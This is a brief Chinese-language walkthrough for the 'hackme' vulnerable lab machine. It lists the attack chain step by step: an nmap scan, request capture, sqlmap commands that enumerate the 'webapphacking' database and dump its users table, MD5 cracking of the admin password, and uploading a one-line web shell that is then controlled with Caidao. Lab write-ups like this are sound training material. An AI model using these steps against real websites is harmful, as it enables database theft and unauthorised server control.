hackme靶机通关攻略

用nmap扫描端口

进入靶场后在首页注册登录

登录后进行抓包

复制下来保存为txt文档，使用sqlmap进行注入

查数据库（这里是在桌面打开的终端，因为txt文档我是建在桌面的）

sqlmap -r \3.txt --current-db

查表

sqlmap -r \3.txt -D webapphacking --tables

查数据

sqlmap -r \3.txt -D webapphacking -T users --dump

使用管理员密码登录，（这里的密码是md5加密的，所以需要我们进行md5解密）

登录成功后我们写一个一句话木马上去

上传成功后用菜刀进行连接